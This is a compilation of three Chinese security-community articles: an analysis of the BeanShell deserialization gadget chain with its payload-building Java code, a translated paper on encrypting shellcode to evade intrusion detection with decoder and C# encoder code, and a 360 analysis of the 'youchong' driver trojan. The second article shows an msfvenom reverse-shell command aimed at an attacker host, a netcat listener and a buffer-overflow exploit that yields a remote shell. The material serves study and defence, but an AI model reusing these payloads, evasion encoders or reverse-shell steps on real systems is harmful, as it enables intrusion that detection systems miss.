}
具体的就去看[BeanShell](http://www.beanshell.org/manual/bshmanual.html)的官方文档。
##### bsh.Interpreter
Beanshell有三种运行方式：
java bsh.Console // run the graphical desktop
java bsh.Interpreter // run as text-only on the command line
java bsh.Interpreter filename [ args ] // run script file
可以看到第二种为命令行方式运行，第三种为直接运行一个脚本。都需要引入[bsh.Interpreter](http://www.beanshell.org/javadoc/bsh/Interpreter.html)。使用代码为：
Interpreter interpreter = new Interpreter();
看起来这个包是一个通用包，粗略估计漏洞点很可能在下一个bsh的包中。
##### bsh.XThis;
在搜索时只搜到了官方文档中的bsh.This这一个包。猜测XThis是他的扩展，因为我还看到了JThis之类的。。。[bsh.This：](http://www.beanshell.org/javadoc/bsh/This.html)‘This’是bsh脚本对象的类型。一个’This’对象是一个bsh脚本对象上下文。它包含一个名称空间引用，并实现事件侦听器和各种其他接口。它持有对从bsh外部回调的声明解释器的引用。接下来直接进到XThis的代码中，看到`public
class XThis extends This`,也确实了刚刚的猜想。
具体还可以去看看对他的备注：
/**
XThis is a dynamically loaded extension which extends This.java and adds
support for the generalized interface proxy mechanism introduced in
JDK1.3. XThis allows bsh scripted objects to implement arbitrary
interfaces (be arbitrary event listener types).
*/
XThis是一个动态加载的扩展，它扩展了This.java并添加了对JDK1.3中引入的通用接口代理机制的支持。
允许bsh脚本化对象实现任意接口(任意事件侦听器类型)。
允许实现任意接口这个描述很值得注意哦~，刚刚也猜测了漏洞触发点大概率是在这个包中，那么去看看他实现了那些方法。两个方法，其中的invoke非常耀眼。。。这里先不跟进，下个断点，待会儿具体代码分析的时候再回来具体看。
###### CVE-2016-2510&&CVE-2017-5586
在查找bsh.XThis的时候，因为不是很常用，还找到了一个漏洞CVE-2017-5586与这个包相关，<https://www.anquanke.com/vul/id/1123714>
是OpenTextDocumentumD2的一个远程代码执行漏洞。在OpenTextDocumentumD2中包含BeanShell
(bsh)和Apache Commons库，当接受来自不可信源的序列化数据时，会导致远程代码执行。
除此之外还看到了一个CVE-2016-2510为beanshell的反序列漏洞。通过两个实际漏洞的学习也可以更加了解利用链。
#### inport xxx
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Arrays;
import java.util.Comparator;
import java.util.PriorityQueue;
剩下几个就很常见了，这里就不细说了。包含动态代理，对数组的处理。看到PriorityQueue，根据之前的经验就是去着重注意他的comparator接口中的compare()是否被重写利用。
## 漏洞分析
### getObject
public PriorityQueue getObject(String command) throws Exception {
// BeanShell payload
String payload =
"compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" +
Strings.join( // does not support spaces in quotes
Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")),
",", "\"", "\"") +
"}).start();return new Integer(1);}";
// Create Interpreter
Interpreter i = new Interpreter();
// Evaluate payload
i.eval(payload);
// Create InvocationHandler
XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
// Create Comparator Proxy
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue;
}
这个方法中，在第2行首先以字符串的形式定义了一个compare函数，最终的值(string)为：
compare(Object foo, Object bar)
{
new java.lang.ProcessBuilder(new String[]{"calc.exe"}).start();
return new Integer(1);
}
接着3,4行以beanshell的格式编写脚本，其中第4行将上面的字符串转为了表达式并执行最终返回一个object。
关于eval()举两个栗子:
Interpreter interpre = new Interpreter(); //创建一个解析器
interpre.set("num",111);
1. String str="int sum=44*num;"+"result=num;";
2. String str="public int sum(){\n" +"int a=3+2;\n" +"return a;\n" +" }";
interpre.set("变量名",值);
interpre.eval(str); //执行代码
上述的eval中执行的字符串为简单的表达式时如同1，会进入BSHTypedVariableDeclaration这个类中，并直接获得执行结果`Object
value = dec.eval( typeNode, callstack, interpreter);`；
当eval中执行的字符串为一个函数时如同2，会经过判断而进入BSHMethodDeclaration这个类中，此时并不会直接执行。而是将interperter的methods变量置为了该函数：`namespace.setMethod(
name, bshMethod );`。
很明显在本利用链中也是利用了这一特性，隐藏了恶意代码。
现在恶意代码已经构造好了，那么如何触发他就是接下来的问题了。正如上文所说XThis可以允许脚本对象实现任意接口，回到getObject方法，在第5,6,7行将包含恶意代码的namespace给到xt，并通过动态代理的方式，连接到了我们接下来要用到的comparator接口。
第9,10,11行中正如注释所说是触发漏洞的设置。PriorityQueue是一个优先级队列，当在序列化PriorityQueue时，会依次读取队列中的对象，并放到数组中存储并排序，排序过程中就会使用compare(),此时就会触发先前构造的代码，简单流程如下：
### XThis.invoke
首先来看一下整个利用链的调用过程，这里截取了从PriorityQueue的readObject开始一直到最后的ProcessBuilder.start()。
大致的流程已经差不多了，还剩一个点不是很清楚，之前说beanshell中eval()执行为函数时，会通过BSHMethodDeclaration类将interpeter的methods变为刚刚的函数而不执行。此时已经代码已经从PriorityQueue调用到了XThis中的这个函数compare()了，后续来跟着调试一下看看最后具体是怎么执行到的start()。
这一步的目的在于更清楚的了解使用XThis的原因，以及上面没有讲到的XThis的invoke函数。
当siftDownUsingComparator调用compare之后，根据之前的代理直接就会进入XThis中：
具体的参数信息如下：
后续流程这里不具体显示，总之根据深入的跟进来到了Reflect类：
BSHPrimarySuffix的175行：
try {
return Reflect.invokeObjectMethod(
obj, field, oa, interpreter, callstack, this );
}
可以看到通过前面不断的跟进，在doName()中进入了到反射到processbuilder的临门一脚。
最后在Reflect类的134行中，反射来到了ProcessBuilder.start()：
Object returnValue = method.invoke( object, tmpArgs );
## 总结
这条利用链比较简单，在分析过程中要善用官方文档，对于BeanShell的很多内容可能看代码还会有疑问，但是代码联系注释和官方文档可以比较轻松的了解大意。还有就是分析中不管怎么样要走完完整的一遍，在第一遍中我只分析到了getobject中到底序列化了什么。但是实际上后续在写文档记录重新理清思路时，对于XThis的理解还不清楚，之后再整体跟进了一遍就清楚了许多了。 | 社区文章 |
# 【技术分享】智能逃避IDS——RSA非对称多态SHELLCODE
|
##### 译文声明
本文是翻译文章，文章来源：exploit-db.com
原文地址：<https://www.exploit-db.com/docs/41469.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[华为未然实验室](http://bobao.360.cn/member/contribute?uid=2794169747)
稿费：200RMB（不服你也来投稿啊！）
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
防火墙和入侵检测系统(IDS)是任何公司安全方面或组织内网络基础设施的基本核心。防火墙以网络信息为基础过滤流量，而IDS进行的是更深入的研究——考虑并分析在网络中循环的每个数据包的实际数据的内容。
要真正评估网络上的数据包，IDS需要在非常低的级别上理解在特定协议内循环的信息的类型。因此，入侵检测系统(IDS)是分析系统和网络活动，以检测是否有未授权进入和/或恶意活动的活动进程或设备。
市场上的IDS产品琳琅满目。1998年，Ptecek和Newsham演示了如何逃避IDS，他们使用了多种技术，比如重叠shellcode片段、包封数字序列及在漏洞利用的有效载荷中插入随机数据包。这些技术在当时是可行的，因为彼时IDS处理或解释数据包的方式与网络专有系统不同。
在解释本文提出的逃避IDS的具体方式之前，我们先简要介绍一下IDS的基本操作。IDS基本模式如下（各IDS不尽相同）：
1\. 嗅探器读取以混杂模式连接到交换机、路由器、集线器等的镜像接口的接口的所有流量。如为嵌入式安装设备，则直接采用镜像接口本身。
2\. 一些预处理器处理由嗅探器读取的数据，然后由规则引擎更快地处理。此外还有其他功能，比如尽量使攻击者无法规避规则引擎，我们稍后将讨论这一点。
3\.
引擎规则和一组规则。从预处理器处理的数据包，引擎规则通过寻找与其中一个规则匹配的攻击模式传递由每一个规则处理的数据包。如果匹配，则执行规则指示的操作，通常将其视作攻击（接受）或拒绝数据包（丢弃，传递，拒绝…）。如果是确认的攻击，则通知后处理器。
4\. 后处理器负责处理攻击，即通过电子邮件通知攻击、以纯文本或在数据库中存储攻击、阻止攻击（在这种情况下，IDS是入侵防御系统IPS），等等。
在网络层面从全局角度解释了IDS的操作后，我们接下来简要解释一下用于逃避这些系统的可能的攻击途径。攻击途径主要有四种，还有一种虽然不是攻击途径，但作为IDS的限制，也需要介绍：
通过预处理器中的碎片包来逃避。在该攻击途径中有两种可能的逃避。
攻击中使用的编码。并非所有IDS都支持相同类型的编码（支持受攻击的服务）。
蠕虫多态性和变质（多态性和变质蠕虫）。
由预处理器处理的输入数据（不正确）解析，这可能导致拒绝服务并因此导致IDS的失效。
加密通信。虽然事实上这不是攻击途径，但必须加以考虑。如果攻击者和服务器受害者之间的通信被加密，则IDS不能识别任何攻击模式，这无需多言。事实上，通信被加密的原因是没有中介元素可以理解它们之间的数据。
传统类型的IDS逃避的问题恰恰是完全了解其基础和TCP /
UDP水平上这些变化的确定性。操作码水平上的对称加密便由此出现，即传统的多态性——并不总是起作用。有些公司，作为其特定目的，在模块IDS的分析引擎中进行检测。不仅考虑上述方法，而且作为主要核心的一部分，在执行的流程中考虑不同语言的脚本的聚合，这使系统管理员或安全专家可基于具体产品的嵌入式API在全部流上添加ACLS。如果可能添加启发式分析，则总结对系统的恶意攻击的检测。
因此我们需要一种更强大的方法来帮助智能逃避IDS。本文重点介绍如何通过使用Shellcode（通过网络发送）的非对称加密的RSA实现来实现这一点。因此我们要描述一种多态shellcode的实现的新思想。在利用过程中，对于对于真正参与开发、检测及遏制攻击到低水平的计算机安全专业人员而言，这反过来可以作为保护和/或攻击的模式。
缩减形式的RSA将被用作加密方法——将用于逃避IDS。注意，这是一个新的实现，仍需要改进。下面将详细解释如何使用提出的RSA算法执行shellcode的加密和解密。
多态shellcode的基本概念是，在利用漏洞期间，当利用代码通过网络发送shellcode时，该操作码链被NIDS检测到。本文描述的建议是使用RSA算法来加密这个链，因为是非对称算法，所以结果字符串不会有任何相干性或逻辑，因此IDS不会知道其是一个shellcode。字符串将具有以下结构：
1\. 用于解密字符串的操作码
2\. 由RSA算法加密的操作码
在本文中，我们将解释完整的想法和执行的测试，将按以下顺序进行解释：
1\. 如何加密和解密shellcode的操作码
2\. 如何构建解密shellcode的程序，以及如何获取操作码
3\. 如何构建能够加密操作码（C＃.NET）的程序
4\. 用于验证所有算法有效而执行的本地测试
5\. 用于验证算法对于真正的远程利用代码确实有效而执行的远程测试
**加密和解密操作码的算法**
由于RSA已经是一个众所周知的算法，所以本文档的目的不是解释或执行其演示。以下是我们将以缩减形式使用的公式：
**加密：** F(m, e) = me mod n = n = c，其中m是消息，e是公钥，c是密码。
**解密：** F(c, d) = cd mod n = m
n = p x q，p、q = 2个数字素数
以下是如何加密shellcode的解释：
将把2个素数作为基础来执行加密，要注意，这可能因加密类型的不同而各异。我们将数字3作为公钥，将171作为私钥（两者均为素数），模块256的方式是，加密数字是乘以3，取模块256时我们只取两个最低有效字节。要解密，一个数字必须乘以171，并以同样方式只取两个最低有效字节，例如：
现在我们将使用缩减的RSA加密下一个链：xebx45c9
将由“ x”（每个操作码）分隔的每对数字乘以3，且只应取前2个最低有效字节：
xeb–>0xeb*0x3=0x2c1因此加密的号码是： xc1
x45–>0xeb*0x3=0xcf因此加密的号码是： xcf
xc9–>0xeb*0x3=0x25b因此加密的号码是： x5b
因为密码模块是256，所以取2个最低有效位作为最终编码的号码。这样我们可以得出结论，加密等式如下：
A = 3(n)mod 256
其中，
A = 密码号
3 =公钥
破译的解释如下：
密码号： xc1 Decrypting 0xc1*0xab=0x80eb解密的号码是：xeb
密码号： xcf Decrypting 0xcf*0xab=0x8A45解密的号码是： x45
密码号： x5b Decrypting 0x5b*0xab=0x3cc9解密的号码是： xc9
对于解密，数字乘以ab，因为171是十六进制的AB，正如我们在加密中所执行的，对于最终数字，解密取2个最低有效位。
B = 171(n) mod 256
其中，
B = 解密的数字
171 = 私钥
**解密程序**
解释了shellcode的加密如何工作后，我们继续执行程序，在运行时执行指令来解密每个操作码。这是本文中最精妙的部分，获得Shell加密后（我们将在下一点解释如何自动加密所有shellcode），我们就必须执行能够直接在堆栈上解密它的程序。这应该用汇编程序编写，因为将在那里（在堆栈中）执行，因此在汇编程序中开发了以下程序：
我们将进行通俗的解释，以便于理解。在上面的程序中执行的第一个动作是跳转到标签“three”，其将执行语句“call
one”，这个动作保存返回地址，其将跳转到标签“one”。此地址放在注册表“esi”中，这是以前保存的地址。在随后的三行中，记录“ecx”、“eax”及“ebx”被清除，随后其当前内容将为：0x0000000。现在其被放在注册表“CL”中（数字33），这表示我们的shellcode加密的字节大小。这个例子中是33（必须针对每个shellcode更改该数字，因为每个的长度各异），现在其将被放置在寄存器“al”（解密的位置的值），这是通过用计数器“ecx”（其保存shellcode加密的长度）添加“esi”（其包含shellcode加密的原理）的地址来实现的。应该解释的是，每个操作码的解密根据所建立的技术从下到上执行。
再次谈谈算法，在第一次运行时，程序将待解密的链编码的最后一个操作码的值放入寄存器“al”中，然后减1。为此，“CL”中的初始值必须始终至少大3个单位（以确保所有shellcode将被解密），然后，其被放置在寄存器ebx的下部，即B1，数字171，其将乘以放置在标签“four”下的shellcode加密（这是用于解密）的每个数字，然后将“bl”的内容乘以“a1”，结果放在“eax”中，我们要查找的值（两个最低有效字节）在“al”（eax的下部）中，为此，我们将“al”的内容放在当前位置：[esi
ecx –
1]，被计数器（cl）递减一，并且被验证：如果不为零，则返回到标签“two”，否则继续执行程序，下一步是跳转标签“four”，这正是找到现在解密的shellcode的地方。
在算法的这一点的重要方面是理解循环——被执行以减少在堆栈内的位置：其从加密的shellcode的末尾开始执行，直到标签“4”之前的1位置，每个交互执行操作以进行解密并用新值重写位置。
我们获得汇编器中的程序后，我们必须获取操作码——用于nasm，程序首先在汇编器中编译，如下所示：
$ nasm muldescrifra.asm
然后被反汇编：
$ ndisasm muldescrifra
我们以这种方式获得主操作码（第二列），必须强调的是，在这部分中有“脏”代码，因为值66和67应该从最终字符串中删除，并根据新的值修改跳转，链用操作码完成：
**优化操作码**
当我们执行程序的正常写入并以这种方式编译时，我们获得的是已经提到的垃圾操作码，例如：
操作码66和67表示确定最终字符串的长度和跳转地址的垃圾操作码，这产生问题，有必要重新计算长度。这些操作码应该被省略。为此，我们必须将header
[BITS 32]添加到ASM程序的文件中，这样当解密完成时，这些操作码被省略：
第一版本中的加密程序具有存储shellcode的大小的限制。根据程序的设计，十六进制的这个数字存储在ECX（计数器）的下部，即在CL中。这里明显可以看到限制，因为你可以存储的最大数字是FF，即255个字符，因为其只使用16位。在下面的加密程序代码中可以看到这个事实：
xor ecx,ecx
mov cl,33
当加密的shellcode的有效载荷具有多于255个操作码时，该限制完全暴露，该限制在任何反向shellcode上非常普遍，原因是其数量大于255个操作码。为解决这个限制，使用了所有的ECX寄存器。
下面是ASM上的数据寄存器的结构：
为此，有必要使用所有的ECX寄存器来分配shellcode的总长度。程序如下：
所做的基本改变是使用ECX寄存器的高部，由以下两行中的CX表示：
mov cx,376
sub cx,1
做出这一改变后，这便是我们在堆栈中的新位置：
重要的一行是：
00000009 66B978018A44 mov ecx,0x448a0178
其中可以看出，值378以32位格式成功分配。这样，密码程序已经能够处理大shellcode，字符多达32位许可证。
**加密程序**
对于加密程序的实现，我们选择了C＃.NET，因为其具有可移植性且代码易于理解，这方便算法的解释。对于程序的阐述，我们不提供所有代码，而是将展示和解释加密的重要部分。
该程序在主表单的2个类中执行，主类负责加密、读取和操作码结束的暴露，另一个类只负责获取十六进制数。负责转换为十六进制的类如下所示：
其是一个小类，已声明为静态，以便随时访问ToHexString方法，此方法执行到十六进制的转换，并返回作为类型字符串转换的数字。这是程序的核心，加密和最终链在此完成：
private void button1_Click(object sender, EventArgs e)
{
string[] cShellcode = { "\xEB", "\x1C", "\x5E", "\x31", "\xC9", "\x31", "\xC0",
"\x31", "\xDB", "\xB1", "\x00", "\x8A", "\x44", "\x0E", "\xFF", "\xB3", "\xAB", "\xF6",
"\xE3", "\x88", "\x44", "\x0E", "\xFF", "\x80", "\xE9", "\x01", "\x75", "\xEF", "\xEB",
"\x05", "\xE8", "\xDF", "\xFF", "\xFF", "\xFF" };
richTextBox2.Clear();
string [] separadores = { "/x","\x" };
string shellcodeOri = richTextBox1.Text.Replace(""","");
string[] opcodes = shellcodeOri.Split(separadores,
System.StringSplitOptions.RemoveEmptyEntries);
string[] opcodesInterno=new string[opcodes.Length];
decimal tamShellcode = (decimal)(opcodes.Length + 25);
cShellcode[10] = "\x" + tamShellcode.ToHexString().ToString();
int contador = 0;
int contador1 = 0;
int contador2 = 0;
if (cifrador == 1)
{
richTextBox2.Text = "//************RSA DECODER************" + "n";
foreach (string j in cShellcode)
{
if (contador1 == 10)
{
richTextBox2.Text += "n";
contador1 = 0;
}
richTextBox2.Text += j;
contador1++;
}
richTextBox2.Text += "n//********ENCODED SHELLCODE*********" + "n";
}
foreach (string s in opcodes)
{
//MessageBox.Show(System.Convert.ToDecimal(s).ToString());
try
{
decimal opc = int.Parse(s, System.Globalization.NumberStyles.HexNumber) *
usePrime; // System.Convert.ToDecimal(s) * 3;
opc = opc % useModule;
var hex = opc.ToHexString();
if (hex.ToString().Length == 1)
{
opcodesInterno[contador] = "\x0" + hex.ToString();
}
else
{
opcodesInterno[contador] = "\x" + hex.ToString();
}
//MessageBox.Show(opcodesInterno[contador]);
contador++;
}
catch (Exception ex) { MessageBox.Show(ex.ToString()); }
}
foreach (string s2 in opcodesInterno)
{
try
{
if (contador2 == 10)
{
richTextBox2.Text += "n";
contador2 = 0;
}
richTextBox2.Text += s2.ToString();
contador2++;
}
catch { MessageBox.Show("Formato de Opcodes Incorrecto"); }
}
textBox1.Text = opcodes.Length.ToString();
textBox2.Text = opcodesInterno.Length.ToString();
Array.Clear(opcodes, 0, opcodes.Length);
Array.Clear(opcodesInterno, 0, opcodesInterno.Length);
decimal temp = (decimal)usePrime;
textBox3.Text = "DEC: "+usePrime.ToString() + "|| HEX:" +
temp.ToHexString().ToString(); ;
textBox5.Text = useModule.ToString();
}
首先，我们声明一个表示加密算法的字符串变量，还声明了分隔符的排列，这些分隔符随后将用于清除在RichBox类型的组件中输入的链。读取此组件并清除表示要加密的操作码的初始字符串：
C＃.Net有一个友好的框架，因此输入的读取易于执行，读取输入到主RichBox中的内容在单行进行，然后在检测到onClick事件时解析和清除：
string shellcodeOri = richTextBox1.Text.Replace(""","");
string[] opcodes = shellcodeOri.Split(separadores, System.StringSplitOptions.RemoveEmptyEntries);
可以看到，richbox组件的名称为richBox1：
方法Replace被调用，其包含在空间Text中，并且重载了用于填充新的排列类型字符串（2×2）和将包含要加密的shellcode的间隔符。
另一点要强调的是类型decimal的变量，其表示原始shellcode的大小，即单独表示操作码的对的数目，分配了25的偏移，即多25个位置，以确保解密算法将应用整个shellcode。随后将打印最终字符串：
变量“cifrador”是允许程序决定是否打印密码的指示。其是在程序开始时声明的静态变量：“public static int encryptor;”
且在主程序的加载事件期间被初始化为构造器结构：
public Form1()
{
InitializeComponent();
usePrime = 3;
useModule = 256;
cifrador = 1;
}
此变量使用值1初始化，因此默认情况下将一次打印一个加密代码，有可能观察到集成if结构的“foreach”。在代码的下一部分中，存在核心功能的主要部分，即每个操作码由指定的素数加密：
变量“usePrime”是从Form2提取的变量，其指定执行加密要乘以的素数：
decimal opc = int.Parse(s, System.Globalization.NumberStyles.HexNumber) * usePrime;
正是在这一点上，程序加密每个操作码，最终得到模块：opc =
opc％useModule；变量“useModule”也被导出，结果保存在数组：opcodesInterno []中。
最后打印已经加密的最终字符串，其将在加密代码后立即打印：
打印该链的重点是位置编号11。我们在ASM中的程序创建中进行了回顾，位置11表示要加密的shellcode的大小，因此被替换为操作码10（由于第一个元素为0），如下所示：
cShellcode[10] = "\x" + tamShellcode.ToHexString().ToString();
以这种方式得出加密主引擎结论。程序还有第二种形式，其允许选择选项并提供给这个程序。套件的功能是使用不同的数字对来加密shellcode，这也包括2个类，其中1个用于生成素数。主类负责收集在主Form中用于加密的数据。以下是第一个类：
前面的代码验证数字是否为素数。类也被声明为静态，以便使用主方法“isPrime”从任何点访问它，如果数字是素数，则返回true，如果不是，则返回false。第二个类是主体，有几个方法，主要的一个允许选择素数，并且通过用前100个素数填充ComboBox来实现：
第二种方法是使用主按钮的onClick事件启动，其负责将选择发送到上述主Form：
程序编译后，结果如下：
我们可以看到，程序将加密代码放在首位，随后是加密的shellcode，有可能直接从文本文件上传程序：
素数的选择必须链接到先前选择的也是素数的数字，两者表示密钥对（公钥和私钥），因此，RSA算法的实现是成功的。程序的主引擎不使用本机Windows
API（因此其从头开始实现转换为十六进制），这个多态性shellcode RSA的套件生成器能够在Linux上运行、能使用wine，这使它具有多平台的能力：
这个版本可以使用了，我们只需要指定我们想要的shellcode、素数对及模块（默认为256），点击“Encode”，最后的链将显示在称为“Shellcode
Encoded”的字段中。此链可以插入一个偏移量为3个空字符的利用代码中，以确保整个shellcode的解密。
**多态 RSA SHELLCODE的本地测试**
在这一点上，我们已经拥有执行第一次本地测试的两个关键点：
1\. 由opcodes表示的加密算法准备好与真正的shellcode工作
2\. 能够非对称加密每个操作码的程序
我们使用没有大小限制的版本进行本地测试。我们将使用以下表示加密的shellcode并加密到32位的字符串：
这是我们将使用的用于查看堆栈的状态的源代码，写在C上：
int main()
{
printf("Shellcode Length: %dn", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
在编译并加载到GDB之后，以下是堆栈的状态：
可以看到，从地址0到31是解密，然后从33是加密的shellcode，此时不具有任何一致性。为了在shellcode解密后执行完成前查看堆栈的状态，我们将在shellcode加密中在末尾更改操作码的内容。这将导致运行时错误，但我们将获得堆栈的状态。出现该错误之前，预期可以看到彼时shellcode如何被破译，具有shellcode
"wrong"的程序如下：
更改的值为“9A”，程序被编译：
由于所做的更改，其执行不成功，以下显示的是运行二进制文件前的调试会话，注意堆栈有shellcode密码：
二进制被执行，我们可以观察到栈从+38行开始
可以看到，shellcode被成功解密，并停在点81，这正是我们改变操作码来实现这个目的的点，现在只需修正更改的操作码，观察到shell被正确执行：
结果是一个Shell，表示其已经成功地在运行时实现了解密的代码。
**多态性执行的远程测试**
为了演示该算法的完整功能和其在真正脆弱的系统上的实现，首先，我们需要检测有漏洞应用程序，然后执行利用代码。为此，采用了一个称为vulnserver.exe的应用程序服务器，这是一个监听端口9999并在Windows中默认运行的服务器，已在Windows
7中实现，服务器的IP是192.168.1.76，并有 以下选项：
每次服务器接收到连接时，显示已成功建立：
服务器有一个当时被利用的缓冲区溢出。一旦建立连接，将发送最多5000个字符的字符串。为了测试是否充分利用，我们运行以下用python编写脚本：
程序建立连接并发送50000次字符“A”，导致了缓冲区溢出。这在服务器中以以下方式表现：
所以，知道服务器有一个缓冲区溢出后，开发了利用代码，以下是具有正确跳转地址的利用代码：
现在有必要添加将被注入到远程系统的shellcode。这是整个过程的微妙部分。生成shellcode必须遵循基本的攻击规则，这不是在本地执行shell，而是由特定端口在攻击者的机器中接收它。为了实现这一点，我们将使用Kali。重要的是要强调，由于使用反向shell，攻击者机器的IP是非常重要的，在这种情况下，攻击者机器的IP是192.168.1.93，反向shell是防火墙的真正专业实现的示例，其中其阻止不在白名单中的任何其他端口，但忽略了不同端口的绑定，本例中为4444：
这是将要使用的连接类型——反向Shell。以这样的方式，用于生成此类型的shellcode的命令如下：
root@kali:~# msfvenom -a x86 –platform Windows -p windows/shell_reverse_tcp LHOST=192.168.1.93 LPORT=4444 -e
x86/shikata_ga_nai -b ‘x00’ -f python
在这一点上要强调的要点是选项-b
x00，其告诉msfvenom的引擎避免这个操作码，因为如果接收到这个操作码，shellcode会突然结束而不继续运行其余的指令。此命令输出特定于此攻击者的shellcode，如下所示：
这个shellcode将被直接复制到exploit中，如下所示：
完成此项后，在运行之前，我们将需要一个服务器监听端口4444。为了接收连接，使用netcat（nc – nvlp
4444）。我们运行利用代码，应该会在netcat的会话中得到一个shell。这是我们运行利用代码之前的会话：
可以观察到，netcat正在监听端口4444，并且利用代码尚未执行，现在，当我们运行利用代码，会发生以下情况：
我们可以看到，利用代码在处于监听状态的会话中没有产生任何错误。我们在具有有漏洞的服务器用户所有者的执行权限的Windows系统上有一个直接shell。可以看到，在Windows会话中硬盘驱动器是C，这表明入侵已成功。服务器状态保持稳定，即尽管有BoF，仍继续正确操作，指示ASM级别没有检测到问题，执行shellcode并将其发送到指定端口指定的IP地址：
这表明远程Windows利用代码是完全成功的。
现在我们有了在利用代码中测试RSA非对称算法加密的所有元素。此时，现在唯一要做的是使用具有数字3和171的加密程序，并将其放入利用代码中。现在我们将加密原始的shellcode：
完成此项后，我们将具有加密的shellcode的最终字符串复制到最终利用代码中：
expl.send(buffer)
expl.close()
可以观察到，操作码不表示入侵检测系统（IDS / IPS）的任何东西，是不相干的操作码，因为其被加密了。以下是执行之前和之后：
表示加密或解密的操作码，加密的操作码被分离。将根据在解密的程序中指定的跳跃来保存地址，以获得堆栈的增长和EIP的存储器中的位置：
解释上面的内容后，我们将展示执行具有非对称多态Shellcode的利用代码前的会话：
服务器正在运行和调试：
现在让我们执行远程利用代码。预期的结果正是，在堆栈中运行时解码每个操作码之后，获得反向shell：
执行成功，我们可以看到，代表利用代码的脚本的顶部已经被执行，在Netcat会话中，成功地从被攻破的机器接收到远程shell。我们可以在Linux会话上看到硬盘驱动器上的标签，除了一个简单和正常的连接之外，服务器没有注意到任何异常：
由此证明了算法作为应用程序的功能，其能够使用RSA加密来对操作码进行加密，这产生多态非对称shellcode——可在本地和远程利用代码中使用。
**结论**
本文介绍了用于加密shellcode的RSA算法、其在实际利用代码中的使用、代表前述算法的操作码的优化及用于加密的程序，我们得出的结论是，基于获得的和证明的结果，其提供了该建议的有效性的优异结果。基于RSA算法的多态性根本不影响注入到利用代码的恶意有效载荷的最终执行，IDS根本无法检测到它。
要强调的一个重要方面是，本研究的重点完全是攻击性的，但内在的、附带的结果是防御。加密算法还可以用于测试IDS或IPS，因此提供了一种以理想情况下入侵者所采用的方式执行测试的工具（修改利用代码和完成shellcoding）。
我们得出的另外一个结论是，这不仅开发了一种用于零日攻击和逃避NIDS的算法和工具，还提供了一种可以考虑的防御方法及相应的测试环境。 | 社区文章 |
# 幽虫木马分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
2018年下半年开始，360互联网安全中心监控到一批恶性木马下载器一直在更新传播，初步统计，中招机器超过40万台。
该木马团伙通过伪造、冒用签名的方式试图逃避安全软件检测，利用捆绑在外挂或破解软件、伪装激活工具中、植入盗版系统等方法进行广泛传播，通过释放驱动的方式实现长期驻留受害者机器。用户一旦中招，便会被篡改浏览器主页，并被静默安装推广程序或病毒木马。由于该类木马的隐蔽性很强，即使发现电脑异常，一般用户也很难查清幕后真凶，因此我们将该木马团伙命名为“幽虫”。
## 感染情况
自2018-10-3起至2018-11-9止，该家族样本共计感染次数91万，所有数据按照mac地址去重后共计41万。如下图所示，传播最高峰出现在10月12日，仅这一天就该家族木马就感染了近10万次。
在被感染的机器中，有84%的系统为Win7系统。这一方面是因为目前市面上Win7系统使用量占比仍比较高，另一方面也是因为在Win7系统上使用激活工具的情况也相对多一些（当前的Win10系统多为新电脑预装正版，不需要用户自行激活）——这也就给木马利用虚假的系统激活工具传播留下了更大的可乘之机。
地区感染量占比Top情况如下图所示，可以看到样本对广东、山东、河南、江苏地区用户影响较大：
## 样本分析
### 母体样本
本次分析的木马母体样本伪装成名为“xiaoma”的系统激活工具。样本启动后，释放并运行驱动加载器svchost.exe（非系统进程），驱动加载器解密自身.rc1节区内的驱动文件，同时判断注册表HKLM\SOFTWARE\Wow6432Node\VolmgrmntHome是否存在，若存在则退出程序不再继续安装。
待驱动安装成功则请求Web服务器进行日志统计：
### 驱动模块
驱动模块类型属于过滤驱动，其所支持功能如下图所示：
#### 驱动的入口函数
以X64版为例。驱动入口处首先判段机器是否已被感染，之后创建用以与应用层模块进行通信的设备“volmgrmnt”，同时创建%SystemRoot%\temp\MpCz01.tmp文件作为感染标志
通过解析内核执行体获得ZwReadVirtualMemory、ZwWriteVirtualMemory、ZwProtectVirtualMemory三个函数，用于在注入应用层时写shellcode使用。同时取到KdDebuggerEnabled内核调试标志，若该值为1（即，内核调试为开启状态），则停止后续工作。之后解密驱动文件包含的两个不同版本的DLL模块，该模块最终会注入到被监控的进程中：
完成后，驱动会注册进程创建、模块加载回调例程：
之后创建TDI过滤设备\\\Device\\\CFPTcpFlt，该设备会挂接到[\\\Device\\\Tcp](file:///%5C%5CDevice%5CTcp)上，用以监控TCP数据包，接着创建注册表操作回调例程：
同时，该驱动支持在低版本的系统上卸载主流安全软件的进程创建、模块加载回调例程，至此，程序的入口函数结束：
#### 文件系统过滤
驱动模块注册了Minifilter过滤器，其所有前置与后置例程均分别设置为同一个函数：
在前置操作pre_flt_580DB94解析出当前操作进程以及被操作文件，用于规则判定，其判定的逻辑大致如下：
如果被操作文件为驱动本体，则使用IoReplaceFileObjectName将文件重解析为acpi.sys文件，
最终表现出的结果为：当用户试图查看该驱动文件的任何信息时，系统给出的结果均为正常的系统文件acpi.sys的相关信息。
故，前置操作规则总结如下：
1. 放行——主流浏览器、安全软件安装包
2. 阻止——360安全卫士、电脑管家等关键模块
3. 阻止——安全软件急救箱关键模块
4. 重解析——当前驱动文件为同路径下acpi.sys
5. （特定情况下）禁止——浏览器加载安全防护模块
6. 放行——其他
在后置操作post_flt_580F400中，除放行主流浏览器、安全软件安装包外，还针对安全软件和explorer对\drivers*的打开进行了过滤，目的是为了阻止安全软件的驱动加载：
最终结果为：当列表中匹配到的安全软件或用户试图访问drivers目录下的驱动时，均无法找到任何驱动文件，导致驱动加载失败。
